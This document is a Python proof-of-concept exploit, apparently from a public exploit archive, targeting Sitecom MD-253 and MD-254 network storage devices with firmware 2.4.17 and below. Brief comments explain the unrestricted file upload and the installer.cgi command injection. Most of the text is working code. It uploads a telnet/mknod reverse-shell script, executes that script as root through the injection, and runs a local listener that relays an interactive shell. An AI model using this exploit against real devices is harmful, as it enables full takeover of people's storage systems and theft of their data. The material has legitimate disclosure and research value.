Sitecom MD-25x – Multiple Vulnerabilities
#!/usr/bin/python # # Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit # Date: 09/11/12 # Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl) # Vendor Homepage: http://www.sitecom.com # Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin # Version: 2.4.17 and below # Tested on: Windows 7 x64 and Backtrack 5 R1 # CVE : N/A # # This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage # devices can be combined to obtain a root shell. # # Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities: # # 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are: # - granted execute permissions # - not removed after uploading if they don't contain valid firmware # - stored in a predictable location # 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as # root (only a limited character set can be used due to URL-encoding by CGI-handler) # # Known Limitations: # - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr # # Vulnerability Details: # - http://www.alcyon.nl/advisories/aa-007 # - http://www.alcyon.nl/advisories/aa-008 # # Latest version of this exploit: # - http://www.alcyon.nl/blog/sitecom-poc-exploit # import sys import os import socket import thread import datetime from optparse import OptionParser upload_url = '/cgi-bin/upload' cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s' sh_name = 'revsh' sh_script = """ #!/bin/sh mknod /tmp/backpipe p telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe # clean up our mess rm -f /tmp/backpipe rm -f /tmp/%s """.rstrip('\r') headers = """Host: %s\r User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r Accept-Language: en-us,en;q=0.5\r Proxy-Connection: close\r Referer: http://%s/firmware.htm\r Cookie: language=en;\r\n""" class Exploit: def stdin_thread(self, sock): try: fd = sys.stdin.fileno() while True: data = os.read(fd, 1024) if not data: break while True: nleft = len(data) nleft -= sock.send(data) if nleft == 0: break except: pass sock.close() self.running = False def stdout_thread(self, sock): last = datetime.datetime.now() try: fd = sys.stdout.fileno() while True: if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)): sys.stderr.write('# '); # Insert fake prompt last = datetime.datetime.now() data = sock.recv(1024) if not data: break while True: nleft = len(data) nleft -= os.write(fd, data) if nleft == 0: break except Exception as e: print e pass sock.close() self.running = False def parse_options(self): parser = OptionParser(usage="usage: %prog [options]") parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname", help="Specify the host to connect to") parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip", help="Target IP for reverse shell connection") parser.add_option("-p","--port",action="store",type="int",dest="port", help="TCP port for the reverse shell connection") parser.set_defaults(hostname=None, listener_ip=None, port=7777) (options, args) = parser.parse_args(); if(options.hostname == None): sys.stdout.write("Remote hostname/IP required\n") parser.print_help() sys.exit() #self.forced_bind = (options.listener_ip != None) self.listener_ip = options.listener_ip self.hostname = options.hostname self.port = options.port def start_local_listener(self): self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) except socket.error: sys.stderr.write("[-] Unable to set TCP_NODELAY") try: self.serv.bind((self.listener_ip, self.port)) except: print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall." try: self.serv.bind(('', self.port)) except: print "[-] Unable to bind to default address. Aborting." sys.exit(2) print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port) self.serv.listen(5) self.clientsock, addr = self.serv.accept() print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1]) self.clientsock.send('/bin/busybox uname -a\n'); banner = self.clientsock.recv(2048) if (banner.find('Linux'))>=0: print "[*] W00t W00t, got shell!\n\n%s\n" % banner thread.start_new_thread(self.stdin_thread, (self.clientsock,)) thread.start_new_thread(self.stdout_thread, (self.clientsock,)) def connect_socket(self): print "[*] Connecting..." try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect( (self.hostname, 80) ) if not self.listener_ip: self.listener_ip = self.socket.getsockname()[0] print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0]) except Exception as inst: print inst print "[-] Unable to connect" sys.exit(2) def upload_payload(self): print "[*] Uploading payload\n" try: self.socket.send('POST %s HTTP/1.1\n' % upload_url) self.send_headers() ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n' begin_file='-----------------------------41184676334\r\n\ Content-Disposition: form-data; name="file"; filename="%s"\r\n\ Content-Type: application/octet-stream\r\n\r' end_file='\r\n-----------------------------41184676334--\r\n' pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name) cl = 'Content-Length: %s\r\n\r\n' % (len(pl)) crlf = '\r\n' data = ''.join([ct,cl,pl,crlf]) self.socket.send(data) if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0: print "[*] Payload succesfully uploaded" self.socket.close() else: print "[-] Unexpected response. Trying to proceed anyway." except: print "[-] Error uploading payload. Aborting." sys.exit(2) def send_headers(self): data = headers %(self.hostname, self.hostname) self.socket.send(data) def execute_payload(self): print "[*] Executing payload" cmd = '/tmp/' + sh_name req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd) cr = '\r\n' self.socket.send(''.join([req,cr])) self.send_headers() if self.socket.recv(2048).find("200 OK")>=0: print "[*] Finished executing payload" self.socket.close() def run(self): self.line_buf = '' self.prompt = False self.parse_options() self.connect_socket() thread.start_new_thread(self.start_local_listener, ()) self.upload_payload() self.connect_socket() self.execute_payload() print "[*] Waiting for reverse shell connection" self.running = True while self.running: pass exploit = Exploit() exploit.run() |